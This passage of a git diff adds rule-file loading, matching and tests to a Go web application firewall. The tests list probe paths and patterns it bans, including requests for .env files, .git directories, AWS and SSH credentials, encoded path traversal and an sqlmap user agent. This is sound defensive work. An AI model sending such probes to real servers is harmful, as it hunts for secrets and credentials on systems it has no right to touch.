attackBanDuration: "1h", + }) + + // The first probe bans for SWWAF_ATTACK_BAN_DURATION. + line := s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) + if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) { + t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires) + } + + // Once that ban has run out without a request, the client is served, + // and its next probe bans it for good. + clk.advance(time.Hour) + s.get(client, http.StatusOK, requestlog.ActionForward) + + line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) + if line.BanExpires != permanent { + t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) + } +} + +func TestRulesComeAfterTheOtherChecks(t *testing.T) { + t.Parallel() + + const ( + allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS + exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + ) + + s, _, server := startWithClock(t, "", map[string]string{ + rulesDir: writeRules(t, testRules), + allowNets: allowed, + rateLimitExemptNets: exempt, + rateLimitPerMinute: "1", + }) + + // A client in SWWAF_ALLOW_NETS is not checked. + line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward) + wantRuleIDs(t, line) + + // A probe over the rate limit breaks the limit before any rule sees + // it. + s.get(client, http.StatusOK, requestlog.ActionForward) + line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionRateLimited) + wantRuleIDs(t, line) + + limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) + if len(limitBan) != 1 || limitBan[0].Cause != bans.CauseLimit { + t.Errorf("bans %+v, want one for a broken limit", limitBan) + } + + // A client the rate limits do not apply to is still checked. + s.get(exempt, http.StatusOK, requestlog.ActionForward) + s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionBanned) +} + +func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{ + rulesDir: writeRules(t, testRules), + mode: observe, + }) + + line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionRuleBlocked) + wantRuleIDs(t, line, "blocked") + + line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionBanned) + wantRuleIDs(t, line, "probe") + + if line.BanExpires != "" { + t.Errorf("log line has ban_expires %q, want none", line.BanExpires) + } + + // No ban was made. + line = s.get(client, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, "") + + if got := server.Ledger.Snapshot(); len(got) != 0 { + t.Errorf("bans %+v, want none", got) + } +} + +func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) { + t.Parallel() + + const scraper = "192.0.2.200" + + s, _, _ := startWithClock(t, "", map[string]string{ + rulesDir: writeRules(t, testRules), + metricsToken: token, + }) + + s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked) + s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + + metrics := s.scrape(scraper) + wantMetric(t, metrics, + `smallwebwaf_rule_matches_total{action="block",rule_id="blocked"}`, 1) + wantMetric(t, metrics, + `smallwebwaf_rule_matches_total{action="ban",rule_id="probe"}`, 1) + wantMetric(t, metrics, "smallwebwaf_rules_loaded", 2) + wantMetric(t, metrics, + `smallwebwaf_requests_total{action="rule_blocked",status_class="4xx"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit"}`, 0) + wantMetric(t, metrics, "smallwebwaf_permanent_bans", 1) +} + +// writeRules writes content as a rule file into a new directory, and +// returns the directory. +func writeRules(t *testing.T, content string) string { + t.Helper() + + dir := t.TempDir() + + err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600) + if err != nil { + t.Fatalf("write the rule file: %v", err) + } + + return dir +} + +// wantRuleIDs checks the request log line's rule_ids. +func wantRuleIDs(t *testing.T, line logLine, want ...string) { + t.Helper() + + if !slices.Equal(line.RuleIDs, want) { + t.Errorf("log line has rule_ids %v, want %v", line.RuleIDs, want) + } +} diff --git a/internal/proxy/rules.go b/internal/proxy/rules.go new file mode 100644 index 0000000..f91765e --- /dev/null +++ b/internal/proxy/rules.go @@ -0,0 +1,40 @@ +package proxy + +import ( + "time" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/rules" +) + +// checkRules checks the request against the rules of the rule files at +// now, notes the ids of those it matches in the log line, and returns the +// action of the rule that refuses it, ActionRuleBlocked for a block rule +// and ActionBanned for a ban rule, or "" when none does. In enforce mode +// a ban rule bans the client's netblock for a clear sign of attack. +func (rq *request) checkRules(now time.Time) string { + matched := rq.h.rules.Match(rq.in) + + for _, rule := range matched { + rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID) + rq.h.metrics.RuleMatched(rule.ID, rule.Action) + } + + if len(matched) == 0 { + return "" + } + + // Only the last rule matched can refuse the request. + switch last := matched[len(matched)-1]; last.Action { + case rules.ActionBlock: + return requestlog.ActionRuleBlocked + case rules.ActionBan: + if !rq.h.config.Observe { + rq.banForAttack(now, last) + } + + return requestlog.ActionBanned + default: + return "" + } +} diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index a36003a..f7330c2 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -28,8 +28,12 @@ const ( // ActionRateLimited is a request refused because it took its client // over a rate limit, which bans the client. ActionRateLimited = "rate_limited" - // ActionBanned is a request refused because a ban covers its client. + // ActionBanned is a request refused because a ban covers its client, + // or because it matched a ban rule, which bans the client. ActionBanned = "banned" + // ActionRuleBlocked is a request refused because it matched a block + // rule. + ActionRuleBlocked = "rule_blocked" // ActionDenied is a request refused because its client is in // SWWAF_DENY_NETS. ActionDenied = "denied" @@ -107,11 +111,14 @@ type Line struct { Action string `json:"action"` // WouldAction is, in observe mode, the action enforce mode would have // taken with a request it would have refused: ActionDenied, - // ActionBanned, ActionCountryDenied or ActionRateLimited. + // ActionBanned, ActionCountryDenied, ActionRateLimited or + // ActionRuleBlocked. WouldAction string `json:"would_action,omitempty"` // Counts are the client's requests as the rate limits counted them // with this one, for a request they counted. Counts ratelimit.Counts `json:"counts,omitzero"` + // RuleIDs are the ids of the rule file rules the request matched. + RuleIDs []string `json:"rule_ids,omitempty"` // LimitHit is the window whose rate limit the request went over: // minute, hour or day. LimitHit string `json:"limit_hit,omitempty"` diff --git a/internal/rules/rules.go b/internal/rules/rules.go new file mode 100644 index 0000000..1867dfd --- /dev/null +++ b/internal/rules/rules.go @@ -0,0 +1,469 @@ +// Package rules reads the rule files: the plain text files in +// SWWAF_RULES_DIR, one rule to a line, that each request is checked +// against, as the "Rule files" section of SPEC.md describes. They are read +// at start, and again once the directory has had no change for a short +// time after one is edited, added or removed. +package rules + +import ( + "context" + "encoding/hex" + "errors" + "fmt" + "log/slog" + "net/http" + "os" + "path/filepath" + "regexp" + "slices" + "strings" + "sync/atomic" + "time" + + "github.com/fsnotify/fsnotify" + + "sneak.berlin/go/smallwebwaf/internal/config" +) + +// The actions a rule takes when it matches. +const ( + // ActionLog notes the match in the request log, and does nothing else. + ActionLog = "log" + // ActionBlock refuses the request with 403. + ActionBlock = "block" + // ActionBan refuses the request and bans the client's netblock: the + // request is a clear sign of attack. + ActionBan = "ban" +) + +// extension ends the name of every rule file. +const extension = ".rules" + +// quietTime is how long SWWAF_RULES_DIR must go without a change before +// the rule files are read again, so that a file still being written, such +// as one saved in place, appended to or copied in with scp, is read only +// once whole. +const quietTime = 2 * time.Second + +// headerTarget starts the target that is one request header, +// header:. +const headerTarget = "header:" + +// escapeLength is the length of a percent escape, such as %2e. +const escapeLength = 3 + +var ( + // ruleLine is a rule: four fields separated by spaces or tabs, of + // which the fourth, the regex, runs to the end of the line. + ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`) + // idChars are the characters of a rule's id. + idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`) +) + +var ( + errNotRule = errors.New( + "is not a rule: an id, a target, an action and a regex, " + + "separated by spaces or tabs") + errNotID = errors.New("is not an id of letters, digits, - and _") + errNotTarget = errors.New( + "is not path, query, uri, method, host, user_agent, referer or header:") + errNotHeaderName = errors.New( + "has a character after header: that no header name can have") + errHeaderTakenOut = errors.New( + "names a header that Go's HTTP server takes out of every request, " + + "so a rule never sees it") + errNotAction = errors.New("is not log, block or ban") + errNotRegex = errors.New("does not compile") + errUsedTwice = errors.New("is already the id of the rule at") +) + +// Rule is one rule of a rule file. +type Rule struct { + // ID names the rule in the request log, the metrics and ban notes. + ID string + // Target is what the regex is matched against, such as path or + // header:Accept. + Target string + // Action is ActionLog, ActionBlock or ActionBan. + Action string + + regex *regexp.Regexp +} + +// Params are what Load needs. +type Params struct { + // Dir is the directory of the rule files (SWWAF_RULES_DIR). + Dir string + // Enabled is SWWAF_RULES_ENABLED: while it is false, no file is read + // and no rule loaded. + Enabled bool + // ProcessLog receives how many rules were read, and the error in a + // rule file edited while smallwebwaf runs. + ProcessLog *slog.Logger +} + +// Files are the rule files of a running smallwebwaf, and the rules read +// from them. They are safe for concurrent use. +type Files struct { + params Params + // rules are the rules loaded, in the order of their files' names, and + // then of their lines. + rules atomic.Pointer[[]Rule] +} + +// Load reads the rules of every *.rules file in Dir, in the order of the +// files' names, unless Enabled is false. A Dir that cannot be read is an +// error, and so is a line that is not a rule, a header name with a +// character no header name can have, a rule for the Host or the +// Transfer-Encoding header, which Go's HTTP server takes out of every +// request, a regex that does not compile and an id used twice, each named +// with its file and line. +func Load(params Params) (*Files, error) { + f := &Files{params: params} + f.rules.Store(&[]Rule{}) + + if !params.Enabled { + return f, nil + } + + rules, err := read(params.Dir) + if err != nil { + return nil, err + } + + f.rules.Store(&rules) + f.logRead(len(rules)) + + return f, nil +} + +// Match checks r against the rules, in order, and returns those it +// matches, up to the first whose action refuses it, block or ban, which +// is then the last one returned. +func (f *Files) Match(r *http.Request) []Rule { + var matched []Rule + + for _, rule := range *f.rules.Load() { + if !rule.matches(r) { + continue + } + + matched = append(matched, rule) + if rule.Action != ActionLog { + break + } + } + + return matched +} + +// Len returns how many rules are loaded. +func (f *Files) Len() int { + return len(*f.rules.Load()) +} + +// Watch watches Dir until ctx is done, and reads the rule files again +// once Dir has had no change for quietTime, after one is edited, added or +// removed, and after Watch starts watching. If they then hold an error, +// the rules stay as they were, the error is logged with its file and +// line, and the files are read again after the next change. If Dir cannot +// be watched, that is logged, and the rules stay as they were loaded. +// While Enabled is false, Watch returns at once. +func (f *Files) Watch(ctx context.Context) { + if !f.params.Enabled { + return + } + + watcher, err := fsnotify.NewWatcher() + if err == nil { + defer func() { + _ = watcher.Close() + }() + + err = watcher.Add(f.params.Dir) + } + + if err != nil { + f.params.ProcessLog.Error("cannot watch the rule files for edits", + "error", err.Error()) + + return + } + + f.params.ProcessLog.Info("watching the rule files for edits", + "directory", f.params.Dir) + + f.readAfterChanges(ctx, watcher.Events, watcher.Errors) +} + +// readAfterChanges reads the rule files again once quietTime has passed +// without a change from events, until ctx is done, and logs the errors +// from errs. The wait starts at once, as if for a change, so that an edit +// saved after Load read the files, and before Dir was watched, is taken +// in too. +func (f *Files) readAfterChanges( + ctx context.Context, events <-chan fsnotify.Event, errs <-chan error, +) { + quiet := time.NewTimer(quietTime) + defer quiet.Stop() + + for { + select { + case <-ctx.Done(): + return + case <-events: + quiet.Reset(quietTime) + case <-quiet.C: + f.readAgain() + case err := <-errs: + f.params.ProcessLog.Warn("watching the rule files failed", + "error", err.Error()) + } + } +} + +// readAgain reads the rule files again, in place of the rules loaded, or +// logs the error that keeps the rules as they were. +func (f *Files) readAgain() { + rules, err := read(f.params.Dir) + if err != nil { + f.params.ProcessLog.Error( + "a rule file has an error, and the rules stay as they were", + "error", err.Error()) + + return + } + + f.rules.Store(&rules) + f.logRead(len(rules)) +} + +// logRead logs that the rule files were read, and how many rules they +// hold, which can be none. +func (f *Files) logRead(count int) { + f.params.ProcessLog.Info("read the rule files", + "directory", f.params.Dir, "rules", count) +} + +// read returns the rules of every rule file in dir, in the order of the +// files' names, and then of their lines. A file whose name starts with a +// dot, such as an editor's lock file .#50-app.rules, is not a rule file, +// as a shell's *.rules would not match it. +func read(dir string) ([]Rule, error) { + entries, err := os.ReadDir(dir) + if err != nil { + return nil, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err) + } + + var rules []Rule + + // places are where each id is, as ", line ". + places := map[string]string{} + + for _, entry := range entries { + name := entry.Name() + if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension { + continue + } + + rules, err = readFile(filepath.Join(dir, name), rules, places) + if err != nil { + return nil, err + } + } + + return rules, nil +} + +// readFile appends the rules of the rule file at path to rules. places +// are where each id read so far is, and gain those of the file. +func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) { + data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWWAF_RULES_DIR + if err != nil { + return nil, err + } + + number := 0 + + for line := range strings.Lines(string(data)) { + number++ + place := fmt.Sprintf("%s, line %d", path, number) + + text := strings.TrimSuffix(strings.TrimSuffix(line, "\n"), "\r") + + rule, isRule, err := parse(text) + if err != nil { + return nil, fmt.Errorf("%s: %w", place, err) + } + + if !isRule { + continue + } + + first, used := places[rule.ID] + if used { + return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first) + } + + places[rule.ID] = place + rules = append(rules, rule) + } + + return rules, nil +} + +// parse reads a line of a rule file. It returns false for a blank line +// and for a comment, a line that starts with #. Spaces and tabs at the +// end of the line are not part of its regex, so a line with only those +// after its action has no regex, and is not a rule. +func parse(line string) (Rule, bool, error) { + line = strings.Trim(line, " \t") + if line == "" || strings.HasPrefix(line, "#") { + return Rule{}, false, nil + } + + fields := ruleLine.FindStringSubmatch(line) + if fields == nil { + return Rule{}, false, errNotRule + } + + rule := Rule{ID: fields[1], Target: fields[2], Action: fields[3]} + headerName, isHeader := strings.CutPrefix(rule.Target, headerTarget) + + switch { + case !idChars.MatchString(rule.ID): + return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID) + case !isTarget(rule.Target): + return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget) + case isHeader && !config.IsHeaderName(headerName): + return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName) + case strings.EqualFold(rule.Target, headerTarget+"Host"): + return Rule{}, false, fmt.Errorf( + "the target %q %w; the request's host is the target host", + rule.Target, errHeaderTakenOut) + case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"): + return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut) + case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action): + return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction) + } + + regex, err := regexp.Compile(fields[4]) + if err != nil { + return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err) + } + + rule.regex = regex + + return rule, true, nil +} + +// isTarget reports whether target is one a rule may have. +func isTarget(target string) bool { + switch target { + case "path", "query", "uri", "method", "host", "user_agent", "referer": + return true + } + + name, isHeader := strings.CutPrefix(target, headerTarget) + + return isHeader && name != "" +} + +// matches reports whether the rule's regex matches its target in r. For +// uri it is matched against the path and query as received, and against +// them once percent-decoded, so that an encoded probe cannot slip past. +func (rule Rule) matches(r *http.Request) bool { + if rule.Target == "uri" { + uri := pathAndQuery(r) + + return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri)) + } + + return rule.regex.MatchString(value(rule.Target, r)) +} + +// value returns what a rule with target, other than uri, is matched +// against in r: the path and the query as the client sent them, before +// any decoding or re-encoding, split at the first ?, and a header's values +// joined by ", ", as HTTP joins those of a header sent more than once. +func value(target string, r *http.Request) string { + switch target { + case "path": + path, _, _ := strings.Cut(pathAndQuery(r), "?") + + return path + case "query": + _, query, _ := strings.Cut(pathAndQuery(r), "?") + + return query + case "method": + return r.Method + case "host": + return r.Host + case "user_agent": + return header(r, "User-Agent") + case "referer": + return header(r, "Referer") + default: + return header(r, strings.TrimPrefix(target, headerTarget)) + } +} + +// pathAndQuery returns the target of r's request line, r.RequestURI, as +// the client sent it, less any scheme and host: a target with a scheme +// gives what follows the scheme and its :, and the host when // follows. +// So http://host/path, as a client sends it to a proxy, gives /path, and +// so does http:/path, which Go reads as a target with a scheme and no +// host. r.URL is not used: when the path holds a character it escapes, +// such as \ or a non-ASCII byte, it decodes the whole path and escapes it +// again, so that \ becomes %5C and %2e a dot. +func pathAndQuery(r *http.Request) string { + if !r.URL.IsAbs() { + return r.RequestURI + } + + _, afterScheme, _ := strings.Cut(r.RequestURI, ":") + + hostAndRest, hasHost := strings.CutPrefix(afterScheme, "//") + if !hasHost { + return afterScheme + } + + start := strings.IndexAny(hostAndRest, "/?") + if start < 0 { + return "" + } + + return hostAndRest[start:] +} + +// header returns the values of r's header name joined by ", ", or "" if +// r has no such header. +func header(r *http.Request, name string) string { + return strings.Join(r.Header.Values(name), ", ") +} + +// decodeOnce returns s with each percent escape, such as %2e, replaced by +// the byte it stands for. A % that is not followed by two hex digits is +// left as it is, so that a malformed escape cannot keep the rest of s +// from being decoded. +func decodeOnce(s string) string { + var decoded strings.Builder + + for i := 0; i < len(s); i++ { + if s[i] == '%' && i+escapeLength <= len(s) { + b, err := hex.DecodeString(s[i+1 : i+escapeLength]) + if err == nil { + decoded.Write(b) + + i += escapeLength - 1 + + continue + } + } + + decoded.WriteByte(s[i]) + } + + return decoded.String() +} diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go new file mode 100644 index 0000000..b43f0e4 --- /dev/null +++ b/internal/rules/rules_test.go @@ -0,0 +1,662 @@ +package rules_test + +import ( + "context" + "encoding/json" + "log/slog" + "maps" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "slices" + "strconv" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/rules" +) + +const ( + // What the process log says once Watch watches the directory, after + // each reading of the rule files, and for one that has an error. + watching = "watching the rule files for edits" + read = "read the rule files" + hasError = "a rule file has an error, and the rules stay as they were" + // maxLogLines is how many lines of the process log wait for a test to + // read them. + maxLogLines = 64 + // browser is the user agent of an ordinary visitor. + browser = "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" + // testFile is the rule file of a test that needs only one, and + // firstFile the first of a test's rule files. + testFile = "test.rules" + firstFile = "00-a.rules" + // userAgent is the header that carries the user agent. + userAgent = "User-Agent" +) + +func TestEachTargetMatchesWhatItNames(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + rule string // its target, action and regex + uri string // the request's path and query + header http.Header + want bool + }{ + {"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true}, + {"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false}, + {"path without the query", `path log ^/a$`, "/a?b=c", nil, true}, + {"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true}, + {"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true}, + {"uri decoded", `uri log (\.\./){2}`, "/a?f=%2e%2e%2f%2e%2e%2f", nil, true}, + { + "uri decoded past malformed escapes", `uri log (\.\./){2}&h=%$`, + "/a?g=%zz&f=%2e%2e%2f%2e%2e%2f&h=%", nil, true, + }, + {"uri decoded only once", `uri log ^/a\.b$`, "/a%252eb", nil, false}, + {"method", `method log ^PUT$`, "/", nil, true}, + {"host", `host log ^app\.example$`, "/", nil, true}, + { + "user_agent", `user_agent log ^sqlmap/`, "/", + http.Header{userAgent: {"sqlmap/1.8"}}, true, + }, + { + "user_agent sent twice", `user_agent log ^curl/8, sqlmap/`, "/", + http.Header{userAgent: {"curl/8", "sqlmap/1.8"}}, true, + }, + {"user_agent missing", `user_agent log ^$`, "/", nil, true}, + { + "referer", `referer log ^https://spam\.example/`, "/", + http.Header{"Referer": {"https://spam.example/buy"}}, true, + }, + { + "a header sent twice", `header:x-api-version log ^2, 3$`, "/", + http.Header{"X-Api-Version": {"2", "3"}}, true, + }, + {"a header missing", `header:X-Api-Version log ^$`, "/", nil, true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + files := load(t, ruleFiles{testFile: "a-rule " + tc.rule + "\n"}) + + // Every request is a PUT, which the method rule looks for. + r := httptest.NewRequestWithContext(t.Context(), http.MethodPut, + "http://app.example"+tc.uri, nil) + maps.Copy(r.Header, tc.header) + + got := len(files.Match(r)) == 1 + if got != tc.want { + t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want) + } + }) + } +} + +func TestPathMatchedAsTheClientSentIt(t *testing.T) { + t.Parallel() + + // Each path holds a character Go's URL type would escape again, \ or + // a non-ASCII byte, and each rule is written for the path as sent. + for _, tc := range []struct { + rule string // its target, action and regex + sent string // the path and query the client sent + }{ + {`path log ^/\.\.\\\.\.\\windows\\win\.ini$`, `/..\..\windows\win.ini`}, + {`path log ^/%2e%2e\\%2e%2e\\windows\\win\.ini$`, `/%2e%2e\%2e%2e\windows\win.ini`}, + {`path log ^/café$`, "/café?x=1"}, + {`uri log ^/%2e%2e\\%2e%2e\\boot\.ini\?x=1$`, `/%2e%2e\%2e%2e\boot.ini?x=1`}, + } { + files := load(t, ruleFiles{testFile: "as-sent " + tc.rule + "\n"}) + + // The target in origin form, as traefik sends it, in absolute form, + // as a client sends it to a proxy, and with a scheme but no host, + // which Go reads as absolute form with no host, sending the app + // the path. + for _, target := range []string{ + tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent, + } { + r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil) + wantMatched(t, files, r, "as-sent") + } + } +} + +func TestMatchingStopsAtTheFirstRuleThatRefuses(t *testing.T) { + t.Parallel() + + files := load(t, ruleFiles{testFile: ` +every-path path log ^/ +no-path path log ^$ +first-refusal path block ^/probe +later-ban path ban ^/probe +after path log ^/ +`}) + + // Every log rule that matches is noted, and the block rule ends the + // matching. + wantMatched(t, files, get(t, "/probe"), "every-path", "first-refusal") + wantMatched(t, files, get(t, "/page"), "every-path", "after") + + // A ban rule ends it too. + files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"}) + wantMatched(t, files, get(t, "/"), "ban") +} + +func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) { + t.Parallel() + + files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"}) + + wantMatched(t, files, get(t, "/.env"), "env-file") +} + +func TestFilesReadInNameOrderThenLineOrder(t *testing.T) { + t.Parallel() + + files := load(t, ruleFiles{ + "50-b.rules": "b1 path log ^/\n\n# a comment\n # an indented one\nb2 path log ^/\n", + firstFile: "a1 path log ^/\r\n", + // None is a rule file. + "notes.txt": "notes, not rules\n", + "10-c.rules.bak": "an old copy\n", + "20-d.rules/keep": "a file in a directory\n", + }) + + wantMatched(t, files, get(t, "/"), "a1", "b1", "b2") + + if files.Len() != 3 { + t.Errorf("%d rules loaded, want 3", files.Len()) + } +} + +func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) { + t.Parallel() + + dir := writeFiles(t, ruleFiles{firstFile: "probe path block ^/probe\n"}) + + // The lock file Emacs makes beside a file while it is edited: a link to + // nothing, which cannot be read. + err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile)) + if err != nil { + t.Fatalf("symlink: %v", err) + } + + params, _ := newParams(dir) + + files, err := rules.Load(params) + if err != nil { + t.Fatalf("load: %v", err) + } + + wantMatched(t, files, get(t, "/probe"), "probe") +} + +func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + content string + line int + want string + }{ + { + "too few fields", "env-file path ban\n", 1, + "is not a rule: an id, a target, an action and a regex, " + + "separated by spaces or tabs", + }, + { + // Else its regex would be a space, found in nearly every user agent. + "a regex of only spaces and tabs", "scanner user_agent ban\t \n", 1, + "is not a rule: an id, a target, an action and a regex, " + + "separated by spaces or tabs", + }, + { + "an id of other characters", "# ids\n\nenv.file path ban ^/\n", 3, + `the id "env.file" is not an id of letters, digits, - and _`, + }, + { + "an unknown target", "env-file paths ban ^/\n", 1, + `the target "paths" is not path, query, uri, method, host, ` + + "user_agent, referer or header:", + }, + { + "a header without a name", "env-file header: ban ^/\n", 1, + `the target "header:" is not path, query, uri, method, host, ` + + "user_agent, referer or header:", + }, + { + "a header name written with its colon", "sqlmap header:User-Agent: ban sqlmap\n", 1, + `the target "header:User-Agent:" has a character after header: ` + + "that no header name can have", + }, + { + "a header name with a semicolon", "accept header:Accept;q log ^$\n", 1, + `the target "header:Accept;q" has a character after header: ` + + "that no header name can have", + }, + { + "a header name with brackets", "x-header header:X(y) log ^$\n", 1, + `the target "header:X(y)" has a character after header: ` + + "that no header name can have", + }, + { + "the Host header", "host-header header:host block ^$\n", 1, + `the target "header:host" names a header that Go's HTTP server ` + + "takes out of every request, so a rule never sees it; " + + "the request's host is the target host", + }, + { + "the Transfer-Encoding header", + "# bodies sent in chunks\nchunked header:Transfer-Encoding block ^chunked$\n", 2, + `the target "header:Transfer-Encoding" names a header that Go's ` + + "HTTP server takes out of every request, so a rule never sees it", + }, + { + "an unknown action", "env-file path deny ^/\n", 1, + `the action "deny" is not log, block or ban`, + }, + { + "a regex that does not compile", "env-file path ban ^/(\n", 1, + "the regex does not compile: error parsing regexp: " + + "missing closing ): `^/(`", + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content}) + path := filepath.Join(dir, "00-default.rules") + + wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want) + }) + } +} + +func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) { + t.Parallel() + + dir := writeFiles(t, ruleFiles{ + "00-a.rules": "probe path log ^/a\n", + "50-b.rules": "other path log ^/b\nprobe path ban ^/c\n", + }) + + wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+ + "is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1") +} + +func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) { + t.Parallel() + + dir := filepath.Join(t.TempDir(), "rules.d") + + wantRefused(t, dir, "SWWAF_RULES_DIR cannot be read: open "+dir+ + ": no such file or directory") +} + +func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) { + t.Parallel() + + params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"})) + + files, err := rules.Load(params) + if err != nil { + t.Fatalf("load: %v", err) + } + + line := lines.waitFor(t, read) + if files.Len() != 0 || line["rules"] != 0.0 { + t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line) + } +} + +func TestRuleFilesOffReadNothing(t *testing.T) { + t.Parallel() + + // SWWAF_RULES_DIR does not exist, which would stop the start. + params, _ := newParams(filepath.Join(t.TempDir(), "rules.d")) + params.Enabled = false + + files, err := rules.Load(params) + if err != nil { + t.Fatalf("load: %v", err) + } + + if files.Len() != 0 || files.Match(get(t, "/")) != nil { + t.Errorf("%d rules loaded with the rule files off", files.Len()) + } + + // It would watch until the test ends. + files.Watch(t.Context()) +} + +func TestEditsTakenInWhileRunning(t *testing.T) { + t.Parallel() + + dir := writeFiles(t, ruleFiles{firstFile: "first path block ^/first\n"}) + files, lines := watch(t, dir) + + // matches reports whether path matches a rule. + matches := func(path string) bool { return len(files.Match(get(t, path))) == 1 } + + // A file added. + save(t, dir, "50-b.rules", "second path block ^/second\n") + lines.waitUntil(t, func() bool { return matches("/second") }) + wantMatched(t, files, get(t, "/first"), "first") + + // A file edited. + save(t, dir, firstFile, "first path block ^/edited\n") + lines.waitUntil(t, func() bool { return !matches("/first") }) + wantMatched(t, files, get(t, "/edited"), "first") + + // A file removed. + err := os.Remove(filepath.Join(dir, "50-b.rules")) + if err != nil { + t.Fatalf("remove: %v", err) + } + + lines.waitUntil(t, func() bool { return !matches("/second") }) + wantMatched(t, files, get(t, "/edited"), "first") +} + +func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { + t.Parallel() + + dir := writeFiles(t, ruleFiles{firstFile: "first path block ^/first\n"}) + files, lines := watch(t, dir) + + // The edit's second line has an unknown action, so the rules stay as + // they were, the first line's earlier version included. + save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n") + + line := lines.waitFor(t, hasError) + want := filepath.Join(dir, firstFile) + + `, line 2: the action "bann" is not log, block or ban` + + if line["error"] != want || line["level"] != "ERROR" { + t.Errorf("logged %v, want an error %q", line, want) + } + + wantMatched(t, files, get(t, "/first"), "first") + wantMatched(t, files, get(t, "/second")) + + // Once mended, the file is read again. + save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n") + lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 }) + wantMatched(t, files, get(t, "/edited"), "first") +} + +func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) { + t.Parallel() + + params, _ := newParams(filepath.Join("..", "..", "share", "rules.d")) + + files, err := rules.Load(params) + if err != nil { + t.Fatalf("load the default file: %v", err) + } + + // Probes sent by a browser, by the rule that refuses them. + for rule, targets := range map[string][]string{ + "env-file": {"/.env", "/.env.production", "/.ENV"}, + "vcs-dir": {"/.git/config", "/.git", "/.svn/entries"}, + "secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"}, + "secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"}, + "editor-dir": 